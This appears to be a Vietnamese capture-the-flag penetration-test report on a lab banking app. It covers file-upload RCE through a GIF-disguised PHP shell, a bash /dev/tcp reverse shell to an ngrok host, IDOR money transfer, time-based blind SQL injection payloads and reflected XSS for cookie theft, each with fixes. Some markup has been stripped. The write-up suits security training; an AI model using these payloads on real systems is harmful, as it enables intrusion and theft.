Hàm kiểm tra và lấy extension của file từ URL
Dựa trên hàm `isImage`, nhưng hàm này chỉ kiểm tra tính hợp lệ dựa trên `mime_type` khiến cho kẻ tấn công có thể giả mạo `mime_type` thông qua một `signature file`. Và cấu hình mặc định khiến cho file `.php` có thể thực thi là: Cấu hình mặc định cho phép thực thi file
Nghĩa là tất cả các thư mục con trong `/var/www/`, bao gồm cả `/var/www/html/upload/`, sẽ: - Được phép truy cập `(Require all granted)` - Không bị cấm gì về PHP - Không có `AllowOverride`, nên file `.htaccess` cũng không hiệu lực để chặn PHP nếu không bật lại ### Step to reproduce Đầu tiên, mình sẽ tạo 1 file `shell.php` với nội dung như sau: ```bash= GIF89a ``` Sau đó, mình dùng web https://tmpfiles.org/ để upload file `shell.php` từ đây có thể gửi URL này đến chức năng upload avatar. Upload thành công file `shell.php` lên tmpfiles
Tiếp theo, ta gửi URL chứa file `shell.php` được cấp lên chức năng upload avatar. Cấp URL chứa file `shell.php` lên chức năng upload avatar
Giờ ta cần tìm đường dẫn file đã được thay đổi. Quan sát trong BurpSuite, ta thấy: Tên file đã thay đổi từ `shell.php` thành `4762991e1201cbcb.php`
Cuối cùng, ta truy cập vào `upload/4762991e1201cbcb.php` trên host `https://upload.koinbase.cyberjutsu-lab.tech/` Thực hiện code PHP trên host `upload` thành công
Khi đã biết thư mục `upload` cho phép thực thi mã `PHP`, ta có thể tạo một tệp giả mạo hình ảnh (ví dụ `.gif`) nhưng thực chất chứa mã độc để thiết lập `reverse shell`. ```bash=php GIF89a & /dev/tcp/0.tcp.ap.ngrok.io/YOUR_PORT 0>&1"'); ?> ``` Ta sử dụng `ngrok` để công khai một cổng TCP trên máy local ra Internet. Public một kết nối TCP ra ngoài internet bằng ngrok
Mở kết nối TCP ở local để chờ reverse shell
Khi máy chủ `upload.koinbase.cyberjutsu-lab.tech` thực thi file PHP chứa payload, lệnh `bash` sẽ kết nối đến host và port được cung cấp bởi `ngrok`, từ đó ánh xạ về `netcat` đang chờ sẵn. Kết nối thông qua reverse shell thành công
`Flag 2: CBJS{y0u_rce_me_or_you_went_in_another_way?}` ### Recommendations Để khắc phục và phòng ngừa lỗ hổng RCE thông qua chức năng upload hình ảnh, hệ thống nên thực hiện một số biện pháp bảo mật quan trọng. - Cần giới hạn nghiêm ngặt loại tệp tin được phép tải lên bằng cách kiểm tra đồng thời phần mở rộng (extension) và nội dung thực của file (MIME type), đồng thời chỉ chấp nhận các định dạng ảnh phổ biến. - Thư mục lưu trữ file `upload` phải được cấu hình để không thực thi mã PHP, ví dụ thông qua `.htaccess` hoặc cấu hình máy chủ web. ### References - https://portswigger.net/web-security/file-upload#what-are-file-upload-vulnerabilities ## 3. KB-01: Broken Access Control in Money Transfer API [Critical] ### Description and Impact Tại endpoint API `/api/transaction.php?action=transfer_money` tại `https://koinbase.cyberjutsu-lab.tech/` cho phép thực hiện chuyển tiền mà không kiểm tra quyền sở hữu đối với `sender_id`, `receiver_id` và `amount`. Kẻ tấn công có thể gửi yêu cầu **POST** chỉ định các tham số tùy ý, từ đó thực hiện giao dịch thay mặt người dùng khác mà không cần xác thực. Lỗ hổng này là một trường hợp **Insecure Direct Object Reference (IDOR)**, cho phép chiếm đoạt tiền từ bất kỳ tài khoản nào trong hệ thống, gây ảnh hưởng nghiêm trọng đến tài sản người dùng và uy tín của dịch vụ. ### Root Cause Analysis Lỗ hổng này xảy ra khi đã xác định người chuyển tiền hiện tại thông qua tham số **POST**`sender_id` và sau đó được truyền vào trong db để xác định thông tin qua dòng 4:  Hàm `getinfoFromUserid` lấy thông tin thông qua `id` một cách đơn giản.  Từ đó kẻ tấn công có thể thay đổi `id` thành của người khác để chuyển tiền vào chính tài khoản của kẻ tấn công. Vì các biến như `sender_id`, `receiver_id` và `amount` ta đều có thể kiểm soát, vì đều truyền qua **POST**. Code xử lý chuyển tiền
### Step to reproduce Đầu tiên, ta sẽ quan sát gói tin chuyển tiền trong BurpSuite thì ứng dụng gọi đến một api là `/api/transaction.php`  Thì có các tham số **POST**: - `sender_id` là `id` của tài khoản hiện tại. - `receiver_id` là `id` của tài khoản khác. - `amount` là khoảng tiền sẽ chuyển.  Quan sát thì ta thấy tài khoản với `id` là 1 thì có nhiều tiền nhất và tài khoản với `id` là 3 là tài khoản hiện tại của mình. Mình cần thay đổi `sender_id` thành admin sẽ gửi qua tài khoản của mình là `receiver_id` thành test với `amount` mình mong muốn.  Kiểm tra lại tài khoản.  Thì ta đã thực hiện chuyển tiền thành công từ admin sang tài khoản của mình. `Flag 4: CBJS{master_of_broken_access_control}` ### Recommendations - Không sử dụng `sender_id` từ phía `client`. Thay vào đó, xác định người gửi dựa trên phiên đăng nhập hiện tại `$user = getinfoFromUserid($_SESSION['user_id']);` - Xác thực người dùng trước khi xử lý giao dịch, đảm bảo người dùng chỉ có thể thực hiện hành động với chính tài khoản của mình. - Triển khai kiểm soát truy cập đúng đắn (Access Control) phía server để tránh các lỗ hổng IDOR tương tự. - Log lại mọi giao dịch bất thường, ví dụ như khi sender_id và receiver_id không khớp với session để hỗ trợ phát hiện tấn công. ## 4. KB-02: SQLi Time Base at `id` parameter in `public_info` API [High] ### Description and Impact Lỗi này bắt nguồn **KB-01**, từ câu `query` trong hàm `getInfoFromUserId()` từ đây kẻ tấn công có thể nối dài thêm câu lệnh `query` để có thể thực hiện việc lấy dữ liệu nhạy cảm của người dùng. Việc này có thể làm lộ ra nhiều dữ liệu của người dùng được lưu trong database. ### Root Cause Analysis Lỗ hổng này xảy ra trong endpoint `/api/user.php?action=public_info?id=`, đây là chức năng xem thông tin public từ bất kì `id` nào. Và trong endpoint này được truyền qua tham số `id` cũng thông qua hàm `getInfoFromUserId()` (đã có giải thích ở **KB-01**), từ đây mình có thể truyền các payload SQLi để có thể lấy data. ### Step to reproduce Đầu tiên, ta sẽ truyền thử payload: ```bash= id=0 OR 1=1-- a ```  Kết quả vẫn trả ra thông tin của admin nghĩa nó đã thực hiện vế `OR 1=1` là luôn đúng. Sau khi thử nhiều payload thì nhận định đây SQLi Time Base Delay. Payload tiếp theo ta truyền là: ```bash=mysql id=0 OR SLEEP(10)-- a ```  Từ đây mình có thể viết script để có thể xác định tên database hiện đang dùng. Payload đầu tiên sẽ là: ```bash= OR IF((SELECT ASCII(SUBSTRING(database(),{i},1))>{mid}),SLEEP(1),0) ``` Kỹ thuật ta sử dụng kỹ thuật **Blind SQL Injection (Time-based)** kết hợp với **Binary Search** để khai thác lỗ hổng. Do ứng dụng không phản hồi dữ liệu ra ngoài, ta sử dụng câu truy vấn `IF(..., SLEEP(x), 0)` để xác định đúng/sai thông qua độ trễ thời gian phản hồi. Binary Search giúp giảm số lần thử nghiệm từ khoảng 95 ký tự còn khoảng 7 lần cho mỗi ký tự cần dò, giúp tiết kiệm thời gian và tăng độ hiệu quả trong quá trình khai thác. Python code Exploit Blind SQL Injection
Kết quả được, tên database hiện tại là `tonghop`  Tiếp theo ta lấy tên các bảng trong database này, đoạn code vẫn giống, ta chỉ thay đổi payload cho phù hợp: ```bash= OR IF((SELECT LENGTH(GROUP_CONCAT(table_name))FROM information_schema.tables WHERE table_schema=database())={i},SLEEP(1),0) ``` Kết quả:  Ta đã thấy bảng `flag`, giờ ta sẽ lấy các cột trong bảng này. Và do ta bị giới hạn dấu `'` thì nên mình không thể chỉ định tên bảng như bình thường. Nên mình truyền payload như sau: ```bash= OR IF((SELECT LENGTH(GROUP_CONCAT(column_name))FROM information_schema.columns WHERE table_name={table_hex})={i},SLEEP(1),0) ``` Thì bảng `flag` thì mình sẽ hex thành `0x666c6167` sau đó truyền vào câu query trên. Kết quả:  Cuối cùng, ta lấy giá trị trong cột `flag` của bảng `flag`:  `Flag: Flag 5: CBJS{integer_id_with_sqlinjection}` ### Attachments: - `script.py` ### Recommendations - Sử dụng Prepared Statements. - Xác thực và lọc dữ liệu đầu vào (Input Validation) - Ghi log và giám sát ## 4. KB-03: XSS Reflected at `page` Parameter Leading to Session Hijacking via Cookie Theft [High] ### Description and Impact Ở chức năng hiện số trang hiện tại của ứng dụng, ứng dụng đã trả về 1 file `index.js` trong đó có chứa các code JavaScript thực hiện render ra UI cho người dùng. Và ứng dụng lại dùng `sink` nguy hiểm như `innerHTML` để thể thực hiện thao tác JavaScript với các tag HTML.  Kẻ tấn công có thể tiêm mã JavaScript độc hại vào trang web của ứng dụng và đánh cắp thông tin từ người dùng (như cookies, session IDs), hoặc thực hiện các hành động khác thay mặt người dùng mà không có sự cho phép của họ. ### Root Cause Analysis Lỗ hổng này xảy ra, khi sử dụng `innerHTML` mà không có các biện pháp xác thực hoặc xử lý đặc biệt có thể dẫn đến lỗ hổng `Cross-Site Scripting (XSS)`, đặc biệt là `Reflected XSS`. Mà mấu chốt là xảy ra trên dòng 16 ở đoạn code `index.js`  Nếu mình truyền vào một tag HTML là `Test
` thì nó vẫn có thể `render`.  ### Step to reproduce Bước đầu, ta đã thử với truyền vào 1 thẻ HTML và nó có thẻ render ra. Từ đây mình nhận định là `Reflected XSS` Từ đó, mình tạo ra một thẻ hình ảnh `Trân trọng, h4gphwc